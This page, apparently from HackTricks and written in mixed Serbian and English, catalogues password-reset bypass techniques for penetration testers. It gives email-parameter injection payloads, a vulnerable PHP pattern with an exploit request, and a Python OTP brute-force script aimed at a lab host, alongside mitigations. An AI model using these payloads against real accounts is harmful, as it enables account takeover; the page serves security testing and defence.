Reset/Forgotten Password Bypass
Reading time: 10 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Password Reset Token Leak Via Referrer
- HTTP referer header može leak password reset token ako je uključen u URL. Ovo se može desiti kada korisnik klikne na link treće strane nakon što zatraži password reset.
- Impact: Potencijalno preuzimanje naloga putem Cross-Site Request Forgery (CSRF) napada.
- Exploitation: Da biste proverili da li password reset token leaking u referer headeru, request a password reset na vašu email adresu i click the reset link koji dobijete. Do not change your password odmah. Umesto toga, navigate to a third-party website (npr. Facebook ili Twitter) dok intercepting the requests using Burp Suite. Pregledajte zahteve da vidite da li referer header sadrži password reset token, jer bi to moglo izložiti osetljive informacije trećim stranama.
- References:
- HackerOne Report 342693
- HackerOne Report 272379
- Password Reset Token Leak Article
Password Reset Poisoning
- Napadači mogu manipulisati Host header tokom password reset zahteva kako bi reset link upućivao na maliciozni sajt.
- Impact: Vodi do potencijalnog preuzimanja naloga kroz leaking reset tokena napadačima.
- Mitigation Steps:
- Validirajte Host header upoređujući ga sa whitelist-om dozvoljenih domena.
- Koristite sigurne, server-side metode za generisanje apsolutnih URL-ova.
- Patch: Koristite
$_SERVER['SERVER_NAME']
za konstrukciju password reset URL-ova umesto$_SERVER['HTTP_HOST']
. - References:
- Acunetix Article on Password Reset Poisoning
Password Reset By Manipulating Email Parameter
Napadači mogu manipulisati password reset zahtevom dodavanjem dodatnih email parametara kako bi preusmerili reset link.
- Add attacker email as second parameter using &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Dodaj attacker email kao drugi parametar koristeći %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Dodajte email napadača kao drugi parametar koristeći |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
Dodajte email napadača kao drugi parametar koristeći cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- Dodajte e-mail napadača kao drugi parametar koristeći bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Dodajte e-mail napadača kao drugi parametar koristeći ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- Dodajte attacker email kao drugi parametar u json array
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- Koraci ublažavanja:
- Ispravno parsirajte i validirajte email parametre na serverskoj strani.
- Koristite prepared statements ili parameterized queries da sprečite injection attacks.
- References:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Promena email-a i lozinke bilo kog korisnika kroz API parametre
- Napadači mogu izmeniti email i password parametre u API zahtevima kako bi promenili pristupne podatke naloga.
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- Koraci ublažavanja:
- Osigurajte strogu validaciju parametara i provere autentifikacije.
- Implementirajte robusno logovanje i monitoring za otkrivanje i reagovanje na sumnjive aktivnosti.
- Referenca:
- Full Account Takeover via API Parameter Manipulation
Nedostatak ograničenja zahteva: Email Bombing
- Nedostatak rate limiting-a na zahtevima za reset lozinke može dovesti do email bombinga, preplavljujući korisnika porukama za reset.
- Koraci ublažavanja:
- Implementirajte rate limiting baziran na IP adresi ili nalogu korisnika.
- Koristite CAPTCHA izazove da sprečite automatizovanu zloupotrebu.
- Reference:
- HackerOne Report 280534
Saznajte kako se generiše token za reset lozinke
- Razumevanje obrasca ili metode iza generisanja tokena može dovesti do predviđanja ili brute-force napada na tokene. Neki primeri:
- Bazirano na timestamp-u
- Bazirano na ID-u korisnika
- Bazirano na email-u korisnika
- Bazirano na imenu i prezimenu
- Bazirano na datumu rođenja
- Bazirano na kriptografiji
- Koraci ublažavanja:
- Koristite snažne, kriptografske metode za generisanje tokena.
- Obezbedite dovoljnu slučajnost i dužinu da se spreči predvidljivost.
- Alati: Koristite Burp Sequencer za analizu slučajnosti tokena.
Guessable UUID
- Ako su UUID-ovi (version 1) pogodljivi ili predvidivi, napadači mogu brute-force-ovati da generišu važeće reset tokene. Proverite:
- Koraci ublažavanja:
- Koristite GUID verzije 4 za veću slučajnost ili implementirajte dodatne sigurnosne mere za druge verzije.
- Alati: Koristite guidtool za analizu i generisanje GUID-ova.
Manipulacija odgovora: Zamena lošeg odgovora dobrim
- Manipulisanje HTTP odgovorima da bi se zaobišle poruke o greškama ili ograničenja.
- Koraci ublažavanja:
- Implementirajte serverske provere kako biste osigurali integritet odgovora.
- Koristite sigurne komunikacione kanale poput HTTPS-a da sprečite man-in-the-middle napade.
- Referenca:
- Critical Bug in Live Bug Bounty Event
Korišćenje isteklog tokena
- Testiranje da li se istečeni tokeni i dalje mogu koristiti za reset lozinke.
- Koraci ublažavanja:
- Uvedite stroge politike isteka tokena i validirajte isteka tokena na serverskoj strani.
Brute Force reset tokena
- Pokušaji brute-force napada na reset token koristeći alate kao što su Burpsuite i IP-Rotator za zaobilaženje ograničenja po IP-u.
- Koraci ublažavanja:
- Implementirajte robusno rate-limiting i mehanizme zaključavanja naloga.
- Pratite sumnjive aktivnosti koje ukazuju na brute-force napade.
Pokušaj korišćenja vašeg tokena
- Testiranje da li se reset token napadača može koristiti zajedno sa email-om žrtve.
- Koraci ublažavanja:
- Osigurajte da su tokeni vezani za korisničku sesiju ili druge korisnički-specifične atribute.
Session Invalidation in Logout/Password Reset
- Obezbeđivanje da se sesije invalidiraju kada se korisnik odjavi ili resetuje lozinku.
- Koraci ublažavanja:
- Implementirajte odgovarajuće upravljanje sesijama, osiguravajući da sve sesije budu invalidirane pri odjavi ili resetu lozinke.
Session Invalidation in Logout/Password Reset
- Reset tokeni bi trebali imati vreme isteka nakon kog postaju nevažeći.
- Koraci ublažavanja:
- Postavite razumno vreme isteka za reset tokene i striktno ga primenjivajte na serverskoj strani.
OTP rate limit bypass by changing your session
- Ako sajt koristi korisničku sesiju za praćenje pogrešnih OTP pokušaja i OTP je slab (<= 4 cifre), tada možemo efikasno bruteforce-ovati OTP.
- eksploatacija:
- samo zatražite novi session token nakon što vas server blokira.
- Example code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")
Arbitrary password reset via skipOldPwdCheck (pre-auth)
Neke implementacije izlažu akciju promene lozinke koja poziva rutinu za promenu lozinke sa skipOldPwdCheck=true i ne proverava nijedan reset token ili vlasništvo. Ako endpoint prihvata action parametar poput change_password i username/new password u telu zahteva, napadač može resetovati proizvoljne naloge pre autentifikacije.
Vulnerable pattern (PHP):
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
Zahtev za eksploataciju (koncept):
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
Mere ublažavanja:
- Uvek zahtevajte validan, vremenski ograničen reset token vezan za account i session pre promene lozinke.
- Nikada ne izlažite skipOldPwdCheck paths neautentifikovanim korisnicima; primenjujte autentikaciju za regularne promene lozinke i proverite staru lozinku.
- Poništite sve aktivne sessions i reset tokens nakon promene lozinke.
References
- https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.